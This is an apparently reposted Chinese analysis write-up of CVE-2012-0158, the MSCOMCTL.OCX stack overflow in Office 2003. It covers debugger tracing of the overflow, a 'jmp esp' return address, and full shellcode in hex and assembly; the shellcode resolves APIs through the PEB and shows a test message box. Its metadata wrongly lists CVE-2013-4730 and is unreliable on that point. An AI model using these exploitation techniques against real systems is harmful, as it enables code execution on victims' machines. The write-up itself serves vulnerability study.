CVE-2012-0158漏洞分析报告

这篇具有很好参考价值的文章主要介绍了CVE-2012-0158漏洞分析报告。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

软件名称:Office 2003

软件版本:11.5604.5606

漏洞模块:MSCOMCTL.OCX

模块版本:----

编译日期:2022-07-10

操作系统:Windows XP/2003/7/8.1/10

漏洞编号:CVE-2013-4730

危害等级:超危

漏洞类型:缓冲区溢出

威胁类型:本地

软件简介

Microsoft Office 2003 是微软公司针对 Windows操作系统所推出的办公室套装软件,于 2003 年 9 月 17 日推出,其前一代产品为 Office XP,后一代产品为 Office 2007。

漏洞成因

CVE-2012-0158漏洞是一个栈溢出漏洞,该漏洞是微软Office办公软件中的MSCOMCTL.ocx中MSCOMCTL.ListView控件时检查失误造成的,攻击者可以通过精心构造的数据控制程序EIP实现任意代码执行。

    1、获取poc

    网络,论坛,Metasploit

     https://www.exploit-db.com/

     https://www.securityfocus.com/

    2、复现漏洞

    搭建漏洞环境,执行漏洞POC

    安装office 2003 sp3

    执行poc,word会直接崩溃,停止工作,如下图:

CVE-2012-0158漏洞分析报告

    3、分析漏洞

    定位漏洞触发模块:

    打开一个空白2003word文档,使用OD附加该文档(附加之前需要先对OD进行设置,取消对异常的忽略)

CVE-2012-0158漏洞分析报告CVE-2012-0158漏洞分析报告

    附加之后,将所有线程激活,断点禁止,然后让程序跑起来。使用刚才打开的word打开我们的poc文件:

CVE-2012-0158漏洞分析报告

    打开文件之后,程序会在eip=41414141处断下,说明该位置就是溢出点。分析溢出点的附近堆栈,溢出点下面的堆栈一般是刚刚调用的函数的上一层函数堆栈,溢出后可能已经被破坏,溢出点上面的堆栈一般是刚刚执行的函数堆栈,在这里可以发现有一个地址275C8A0A,该地址是MSCOMCTL模块中的地址,因此可以判断刚刚执行的函数中执行了MSCOMCTL模块中的代码。

CVE-2012-0158漏洞分析报告

    定位漏洞函数:

    已经确定是在MSCOMCTL模块触发的漏洞,OD中定位到0x275C8A0A,我们在这个函数刚进来的地方0x275C89C7下断点,然后重新运行程序,观察0x1215EC上的返回地址是什么时候被填充为0x41414141的:

CVE-2012-0158漏洞分析报告

    经过调试发现,当执行完0x275C8A05上的CALL指令之后,返回地址被填充成了41414141,所以可以确定是CALL 275C876D时出现了问题。使用IDA定位到MSCOMCTL.ocx中的275C876D函数

CVE-2012-0158漏洞分析报告

    重新在OD中调试程序,观察275C876D的参数:   

CVE-2012-0158漏洞分析报告

    进入275C876D这个函数进行分析,找到具体哪个操作,覆盖了返回地址:

CVE-2012-0158漏洞分析报告

    再使用IDA进行分析:       

CVE-2012-0158漏洞分析报告

    分析漏洞成因:

    使用010Editor打开文件,查看数据,找到8282的位置:      

CVE-2012-0158漏洞分析报告

    这里找到了两个8282,我们猜测一个应该是dwBytes,一个是v17。随便修改其中一个为8382,再次动态调试进行测试,观察分析:

CVE-2012-0158漏洞分析报告

    通过观察发现,函数内部读取的值变了,说明文件中第一个8282是参数中的长度,第二个8282是函数内读取的长度,两个长度都在文件中。经过分析之后,漏洞成因是在读取数据时,读取的长度和验证的长度都在文件中,所以可以自行构造,进而触发栈溢出。

利用过程

    分析和设计shellcode的结构 

CVE-2012-0158漏洞分析报告

    在运行的程序中寻找跳板指令的地址

    运行WinDBG开始调试后,输入以下命令开始使用Mona

        .load pykd.pyd

        !py mona

    输入:!py mona mod,找到Rebase、SafeSEH、ASLR、NXCompata为False,而OS DLL为True的系统模块

CVE-2012-0158漏洞分析报告

    找到了MSVBVM60.DLL符合条件,然后在这个模块中找 JMP ESP 的指令地址:

    输入:!py mona findwild -s "jmp esp" -m msvbvm60.dll  

CVE-2012-0158漏洞分析报告

    找到一个0x729A0535得地址,而且权限是可读可执行,将这个地址替换掉溢出点的41414141,然后在该地址下断点,再进行测试:

CVE-2012-0158漏洞分析报告

    发现能够断在这个地方,说明程序已经能够按照我们的意图进行执行,下面只需要在后面添加我们的shellcode就行了。

    OD中选中对应的Shellcode,Shift+X 复制出,然后将其添加到poc的后面:   

CVE-2012-0158漏洞分析报告

    测试之后,成功弹出窗口:

CVE-2012-0158漏洞分析报告

PoC

Shellcode:

6083EC60EB4E47657450726F6341646472657373004C6F61644C696272617279457841005573657233322E646C6C004D657373616765426F7841004578697450726F636573730048656C6C6F20576F726C642100E8000000005B648B35300000008B760C8B761C8B368B56085352E8140000008BF0528D4BBC5152FFD05A53565052E86E000000558BEC83EC0C528B55088B723C8D34328B76788D34328B7E1C8D3C3A897DFC8B7E208D3C3A897DF88B7E248D3C3A897DF433C0EB01408B75F88B34868B55088D34328B5D0C8D7BADB90E000000FCF3A675E38B75F433FF668B3C468B55FC8B34BA8B55088D04325A8BE55DC20800558BEC83EC088B5D148D4BCB6A006A0051FF550C8D4BD65150FF55108945FC8D4BE251FF7508FF55108945F88D4BEE6A0051516A00FF55FC6A00FF55F88BE55DC21000

汇编代码:

__asm

    {

        PUSHAD;

        SUB ESP, 0x60;       //开辟栈空间

        JMP tag_Shellcode;   //前置代码,避免后面额数据被解释为指令

        //[tag_next-0x53] "GetProcAddress"

        _asm _emit(0x47) _asm _emit(0x65) _asm _emit(0x74) _asm _emit(0x50)

        _asm _emit(0x72) _asm _emit(0x6f) _asm _emit(0x63) _asm _emit(0x41)

        _asm _emit(0x64) _asm _emit(0x64) _asm _emit(0x72) _asm _emit(0x65)

        _asm _emit(0x73) _asm _emit(0x73) _asm _emit(0x00)

        //[tag_next-0x44] "LoadLibraryExA\0"

        _asm _emit(0x4c) _asm _emit(0x6f) _asm _emit(0x61) _asm _emit(0x64)

        _asm _emit(0x4c) _asm _emit(0x69) _asm _emit(0x62) _asm _emit(0x72)

        _asm _emit(0x61) _asm _emit(0x72) _asm _emit(0x79) _asm _emit(0x45)

        _asm _emit(0x78) _asm _emit(0x41) _asm _emit(0x00)

        //[tag_next-0x35] "User32.dll\0"

        _asm _emit(0x55) _asm _emit(0x73) _asm _emit(0x65) _asm _emit(0x72)

        _asm _emit(0x33) _asm _emit(0x32) _asm _emit(0x2e) _asm _emit(0x64)

        _asm _emit(0x6c) _asm _emit(0x6c) _asm _emit(0x00)

        //[tag_next-0x2A] "MessageBoxA\0"

        _asm _emit(0x4d) _asm _emit(0x65) _asm _emit(0x73) _asm _emit(0x73)

        _asm _emit(0x61) _asm _emit(0x67) _asm _emit(0x65) _asm _emit(0x42)

        _asm _emit(0x6f) _asm _emit(0x78) _asm _emit(0x41) _asm _emit(0x00)

        //[tag_next-0x1E] "ExitProcess\0" 

        _asm _emit(0x45) _asm _emit(0x78) _asm _emit(0x69) _asm _emit(0x74)

        _asm _emit(0x50) _asm _emit(0x72) _asm _emit(0x6f) _asm _emit(0x63)

        _asm _emit(0x65) _asm _emit(0x73) _asm _emit(0x73) _asm _emit(0x00)

        //[tag_next-0x12] "Hello World!\0" 

        _asm _emit(0x48) _asm _emit(0x65) _asm _emit(0x6c) _asm _emit(0x6c)

        _asm _emit(0x6f) _asm _emit(0x20) _asm _emit(0x57) _asm _emit(0x6f)

        _asm _emit(0x72) _asm _emit(0x6c) _asm _emit(0x64) _asm _emit(0x21)

        _asm _emit(0x00)

    tag_Shellcode:

        CALL tag_Next;

    tag_Next:

        pop ebx;      //Next的地址

        //获取关键模块基址

        mov esi, dword ptr fs : [0x30] ;  //esi = PEB的地址

        mov esi, [esi + 0x0c];         //esi = 指向 _PEB_LDR_DATA结构的指针

        mov esi, [esi + 0x1c];          //esi = 模块链表指针InInitializationOrderModuleList

        mov esi, [esi];              //esi = 访问链表中的第二个条目

        mov edx, [esi + 0x8];          //edx = kernel32.dll基址

        //获取GetProcAddress的函数地址

        //lea ebx,[ebx-0x52]

        push ebx;                       // 

        push edx;                       //模块基址

        CALL fun_GetProcAddress;

        mov esi, eax;                        //返回GetProcAddress的函数地址

        push edx;

        //获取LoadLibraryExA的函数地址

        lea ecx, [ebx - 0x44];

        push ecx;                      //"LoadLibraryExA"

        push edx;                       //模块基址:kernel32.dll

        call eax;                      //CALL GetProcAddress

        pop edx;

        //设置payload

        push ebx;                     //BaseAddr

        push esi;                       //GetProcAddress的函数地址

        push eax;                       //LoadLibraryExA的函数地址

        push edx;                       //模块基址

        call fun_Payload;

    fun_GetProcAddress :

        push ebp;

        mov ebp, esp;

        sub ESP, 0x0C;

        push edx;

        //获取EAT、ENT、EOT的地址

        mov edx, [ebp + 0x08];          //Kernel32.dll

        mov esi, [edx + 0x3C];           //IMAGE_DOS_HEADER.e_lfanew 文件偏移

        lea esi, [edx + esi];           //NT头的 VA

        mov esi, [esi + 0x78];          //IMAGE_DIRECTOTY_ENTRY_EXPORT.VirtualAddress

        lea esi, [edx + esi];          //导出表VA

        mov edi, [esi + 0x1C];          //EAT 的 RVA

        lea edi, [edx + edi];           //EAT 的 VA

        mov[ebp - 0x04], edi;

        mov edi, [esi + 0x20];           //ENT 的 RVA

        lea edi, [edx + edi];          //ENT 的 VA

        mov[ebp - 0x08], edi;

        mov edi, [esi + 0x24];          //EOT 的 RVA

        lea edi, [edx + edi];           //EOT 的 VA

        mov[ebp - 0xC], edi;

        //循环对比ENT中的函数名

        xor eax, eax;

        jmp tag_FirstCmp;

    tag_CmpFunNameLoop :

        inc eax;

    tag_FirstCmp :

        mov esi, [ebp - 0x8];           //ENT 的 VA

        mov esi, [esi + 4 * eax];        //函数名称的 RVA

        mov edx, [ebp + 0x8];          //kernel32.dll的基址

        lea esi, [edx + esi];

        mov ebx, [ebp + 0xC];          //

        lea edi, [ebx - 0x53];         //GetProcAddress的函数名地址

        mov ecx, 0xE;              //GetProcAddress 的长度

        cld;

        repe cmpsb;

        jne tag_CmpFunNameLoop;      //如果不相等就继续循环对比

        //成功后找到对应的序号

        mov esi, [ebp - 0xC];         //EOT 的 VA

        xor edi, edi;

        mov di, [esi + eax * 2];       // 用函数名数组下标在序号数组找到对应的序号

        //使用序号作为索引,找到函数名对应的函数地址

        mov edx, [ebp - 0x4];        //EAT 的 VA

        mov esi, [edx + edi * 4];       //用序号在函数地址数组找到对应的函数地址

        mov edx, [ebp + 0x8];       //kernel32.dll的基址

        //返回获取到的关键函数地址

        lea eax, [edx + esi];       //返回:GetProcAddress的函数地址

        pop edx;

        mov esp, ebp;

        pop ebp;

        retn 0x8;

    fun_Payload:

        push ebp;

        mov ebp, esp;

        sub esp, 0x08;

        mov ebx, [ebp + 0x14];     //BaseAddr

        //获取 MessageBoxA的函数地址

        lea ecx, [ebx - 0x35];       //"USER32.DLL"

        push 0;

        push 0;

        push ecx;                //模块名地址

        call[ebp + 0xC];             //LoadLibraryExA

        lea ecx, [ebx - 0x2A];         // "MessageBoxA"

        push ecx;            //函数名地址

        push eax;                //user32.dll基址

        call[ebp + 0x10];            //GetProcAddress

        mov[ebp - 0x4], eax;

        //获取ExitProcess函数的地址

        lea ecx, [ebx - 0x1E];        //"ExitProcess"

        push ecx;

        push[ebp + 0x08];            //Kernel32.dll

        call[ebp + 0x10];

        mov[ebp - 0x08], eax;

        lea ecx, [ebx - 0x12];     //"Hello World!\0"

        push 0;

        push ecx;

        push ecx;

        push 0;

        call[ebp - 0x4];            //MessageBoxA

        push 0;

        call[ebp - 0x8];          //ExitProcess

        mov esp, ebp;

        pop ebp;

        retn 0x10;

    }

结语

该漏洞是读取长度和验证长度都在文件中,攻击者可以随便写长度,造成溢出,执行恶意代码。

Office漏洞大多是栈溢出漏洞,而栈溢出漏洞的关键点是栈中数据被覆盖,然后通过跳转指令跳到其他地方去执行。栈溢出覆盖是从上到下覆盖的,溢出点下面是上一层函数的堆栈,上面是刚刚执行的函数的堆栈。分析过程中,需要找出真正将栈中数据覆盖的操作,通过测试找到溢出点,最终找到漏洞触发的原因。文章来源地址https://www.toymoban.com/news/detail-456177.html

到了这里,关于CVE-2012-0158漏洞分析报告的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 五款数字孪生软件大比拼:优缺点分析测评报告

    数字孪生 (Digital Twin)作为当前最为火热的技术之一,已经被广泛应用于各种领域,包括航空、交通、能源、医疗、智能制造等行业。在数字孪生的实现中,数字孪生软件起到了重要的作用,因此市面上出现了很多数字孪生软件。本文将介绍国内的5款数字孪生软件,并从使

    2024年02月11日
    浏览(49)
  • [系统安全] 四十九.恶意软件分析 (5)Cape沙箱分析结果Report报告的API序列批量提取详解

    终于忙完初稿,开心地写一篇博客。 您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列。因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全、逆向分析和恶意代

    2024年02月07日
    浏览(50)
  • 《软件工程》课程四个实验的实验报告(《可行性研究与项目计划》《需求分析》《系统设计》《系统实现》)

    实验学时:     2        实验地点:        任意           实验日期:    12月15日          了解:软件项目可行性研究及项目计划的基本原理与方法; 掌握:Visio等工具进行可行性研究和制定项目计划。 图书管管理系统更便于对图书进行分类和管理,对借阅

    2024年02月03日
    浏览(42)
  • [网络安全提高篇] 一二一.恶意软件动态分析Cape沙箱Report报告的API序列批量提取详解

    终于忙完初稿,开心地写一篇博客。 “网络安全提高班”新的100篇文章即将开启,包括Web渗透、内网渗透、靶场搭建、CVE复现、攻击溯源、实战及CTF总结,它将更加聚焦,更加深入,也是作者的慢慢成长史。换专业确实挺难的,Web渗透也是块硬骨头,但我也试试,看看自己未

    2024年02月13日
    浏览(42)
  • 2023爱分析 · 元宇宙厂商全景报告 | 爱分析报告

      报告编委 黄勇 爱分析合伙人首席分析师 文鸿伟 爱分析高级分析师   目录 1. 研究范围定义 2. 市场洞察 3. 厂商全景地图 4. 市场分析与厂商评估 5. 入选厂商列表 1.    研究范围定义 研究范围 2021年3月,十四五规划中首次提及元宇宙,指出需要加强元宇宙底层核心技术基础

    2024年02月15日
    浏览(40)
  • 2023爱分析·低代码厂商全景报告|爱分析报告

    关键发现 低代码开始向甲方核心场景渗透,呈现两个显著特征:“更深入”、“更垂直”。更深入,即甲方愈发注重低代码在复杂业务场景的应用开发能力;更垂直,即甲方需要使用低代码开发行业垂直应用,因此对行业或场景组件产生需求。 2023年中国低代码市场规模为

    2024年02月14日
    浏览(36)
  • 2023爱分析·AIGC厂商全景报告|爱分析报告

    通用大模型市场当前虽入局者众多,但终局将高度集中,未来将由5-6家厂商主导;应用层厂商及甲方企业应着眼终局,从大算力、巨量数据集、端到端AI工程化能力以及应用生态伙伴等维度综合考虑,慎重选择合作伙伴。 中大型企业虽倾向于大模型的私有化部署,但由于中美

    2024年02月16日
    浏览(34)
  • 2023爱分析·超自动化厂商全景报告|爱分析报告

    关键发现 当前的超自动化定义主要从技术组合角度阐述超自动化内涵,较难和业务价值建立链接。爱分析对超自动化作如下新定义:超自动化指利用RPA、iPaaS、AI、低代码、BPM、流程挖掘等自动化技术,实现组织端到端流程自动化以及新业务流程快速编排,帮助组织提升效率

    2024年02月14日
    浏览(36)
  • 故障分析报告

    故障分析报告应包括以下内容: 故障现象描述:详细描述数据库无法访问的具体表现,包括错误提示、访问延迟等。 故障发生时间:记录故障发生的具体时间,以便与其他事件进行比较,找出可能的关联因素。 影响范围:描述故障对系统运行的影响范围,包括用户数量、业

    2024年02月01日
    浏览(30)
  • Win7 Server 漏洞修复(CVE-2017-**、CVE-2018-**、CVE-2019-**、CVE-2012-**)

    Windows 7 Server 服务器也被漏洞扫描找出来几个漏洞,如下: 端口 协议 服务 漏洞 解决方案 445 TCP microsoft-ds Microsoft Windows SMB 远程代码执行漏洞(CVE-2017-0143)(MS17-010)【原理扫描】``Microsoft Windows SMB 远程代码执行漏洞(CVE-2017-0144)(MS17-010)【原理扫描】``Microsoft Windows SMB 远程代码执行

    2024年02月05日
    浏览(71)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包